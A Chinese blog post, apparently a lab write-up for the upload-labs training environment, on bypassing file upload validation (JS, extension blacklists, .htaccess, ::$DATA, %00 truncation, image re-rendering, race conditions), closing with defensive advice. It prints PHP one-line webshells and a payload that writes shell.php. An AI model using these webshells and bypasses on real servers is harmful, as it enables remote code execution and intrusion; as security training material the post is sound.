• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

loay

  • 博客园
  • 联系
  • 订阅
  • 管理

View Post

文件上传及验证绕过

文件上传及验证绕过

文件上传常见点

上传头像
上传相册
上传附件
添加文章图片
前台留言资料上传
编辑器文件上传
......

客户端—JS绕过

docker pull cuer/upload-labs
docker run -d -p 8082:80  cuer/upload-labs

43.136.41.84:8082    Pass-01

Upload-labs(Pass-01)源码分析,通过验证发现是前端JS验证。而前端验证,几乎没有什么防护作用

image-20230220161223354

禁用JS

浏览器直接禁用JS,先按F12,然后按F1,找到禁用JS

image-20230220161956667

phpinfo

<?php phpinfo();?>

PHP一句话木马

<?php eval(@$_GET['a']);?>

直接上传php木马,上传成功

浏览器访问shell

<?php eval(@$_POST['a']);?>

image-20230220165912232

image-20230220163633024

后缀名绕过

image-20230220164210658

image-20230220164827341

修改前端代码

image-20230220163753686

服务端黑名单绕过

特殊可解析后缀

Upload-labs(Pass-03)根据源码可以看出,只是做了个简单的后缀名黑名单,识别上传文件的类型是 否为 '.asp','.aspx','.php','.jsp' 中的一个,若是其中的一个,则不允许上传。

但是可以上传其他任意后缀。比如说:. phtml .phps .php5 .pht ,但如果上传的是.php5这种类型文 件,想要被当成php执行的话,需要有个前提条件:即Apache的httpd.conf有如下配置代码(靶场环境 未配置好,仅做上传测试)。

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

image-20230220210536122

image-20230220210837301

所以由于服务端采用黑名单的过滤方式,这里可以使用php3或者php5后缀上传,直接修改后缀名,上 传成功

右键“复制图像链接”则为shell的链接(此靶机环境测试未解析,仅作上传测试即可)

http://43.136.41.84:8082/upload/202302201306229890.php3

大小写绕过(√)

http://43.136.41.84:8082/upload/202302201312386311.Php

image-20230220211306271

Upload-labs(Pass-06)通过查看源码可以发现,虽然设置了黑名单对常见的后缀进行过滤,但并未对 后缀名大小写进行统一。可以利用大小写进行绕过。例如:.PHp

点绕过(√)

Upload-labs(Pass-08)分析代码没有去除点,直接在文件后面加上点

image-20230220212709024

image-20230220212757052

空格绕过

Upload-labs(Pass-07)通过代码分析没有去空格,在文件后缀加空格后上传

image-20230220212940724

image-20230220213248708

配合解析绕过

Upload-labs(Pass-10)

image-20230220213724834

image-20230220213801154

这一关的思路是它没有循环验证,也就是说这些首尾去空,删除末尾的点,去除字符串:$SDATA,转换 为小写这些东西只是验证了一次,所以绕过思路也很简单:在数据包中把后缀名改为.php. .(两个点之 间有个空格)

验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还 有一个点,也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功。

.htaccess文件绕过(√)

在利用.htaccess文件之前,我们先来了解一下什么是.htaccess规则文件。

.htaccess文件(或者"分布式配置文件")全称是Hypertext Access(超文本入口)。

提供了针对目录改变配置的方法, 即 在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可
以帮我们实现:
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列
表、配置默认文档等功能。上传.htaccess文件,来绕过黑名单。
前提条件
1.mod_rewrite模块开启。
2.AllowOverride All

Upload-labs(Pass-04)源码分析,这个比03增加了黑名单量。但是,中间件为Apache的情况下,黑 名单未校验htaccess文件,导致可上传htaccess文件,绕过黑名单检测。

image-20230220214101412

image-20230220214224761

::$DATA绕过

在Windows中,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且 保持::$DATA之前的文件名。使用它的目的就是不检查后缀名,例如:

phpinfo.php::$DATA

Windows会自动去掉末尾的::$DATA变成 phpinfo.php Upload-labs(Pass-09)抓包修改文件后缀

image-20230220214524153

image-20230220214547228

双写后缀名绕过(√)

Upload-labs(Pass-11)从源码中可以发现,源码中定义了黑名单列表,我们上传文件的后缀名凡是符 合黑名单中任意一个后缀都会被替换为空,那么我们可以利用双写后缀的方式进行绕过。例如:

phpinfo.pphphp 替换后变成 phpinfo.php

image-20230220214838119

image-20230220214902039

服务端白名单绕过

MIME类型检测绕过(√)

pass02

image-20230225195731134

%00截断绕过(√)

截断条件: 1、php版本小于5.3.4 2、php.ini的magic_quotes_gpc为OFF状态

在windows系统中搭建环境,选择php版本为5.2,打开php.ini 文件,设置 magic_quotes_gpc = OFF

http://192.168.226.134/upload-labs/

image-20230225201323468

image-20230225202147726

image-20230225202015698

docker pass12

/

php pass11

image-20230225202325926

image-20230225202709455

将%00解码

image-20230225202826097

image-20230225203005431

注意: %00的使用是在路径上! %00的使用是在路径上! %00的使用是在路径上! 重要的话说三遍。如果在文件名上使用,就无法正常截断了。 %00只能用在路径上,这个路径可能在post数据包中,也可能在url中,所以在这些地方使用%00进行截 断处理,这样服务器在对文件名进行检测之后,就会把路径跟文件名拼接在一起,这时候%00就开始发 挥作用了。

服务端内容检查绕过

文件头检查(√)

.jpg FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47

image-20230226094539528

突破getimagesize及exif_imagetype(√)

pass15 pass16

image-20230226094949943

二次渲染绕过(√)

???

二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像

Upload-labs(Pass-17)这一关比较综合,判断了后缀名、content-type,以及利用 imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染。可以看到,这里先是判断 Content-Type,然后再用imagecreatefrom[gif|png|jpg]函数判断是否是图片格式,如果是图片的话 再用image[gif|png|jpg]函数对其进行二次渲染。我们可以上传一个正常的图片文件,观察其上传前和 上传后图片的二进制流是否发生变化

GIF

渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可

PNG

没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块

JPG

需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试

image-20230225204927125

image-20230225205134022

无法上传,经过比较发现,要将木马代码写在蓝色区域

include.php?file=

image-20230226101535377

image-20230226101439293

代码逻辑(条件竞争)

pass18

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["magedu"])?>');?>

image-20230226124110127

image-20230226133606995

总结

image-20230226133758381

**文件上传漏洞安全防御 **

三个关键条件:能不能上传上去,传到哪,能不能运行

1、文件上传的目录设置为不可执行

只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。

2、判断文件类型

在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单 方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者 resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

3、使用随机数改写文件名和文件路径

文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访 问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar 和crossdomain.xml这种文件,都将因为重命名而无法攻击。

4、使用安全设备防御

文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过 对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出 新,对普通的系统管理员来说可以通过部署安全设备来帮助防御

posted on 2023-02-27 12:27  loay  阅读(565)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3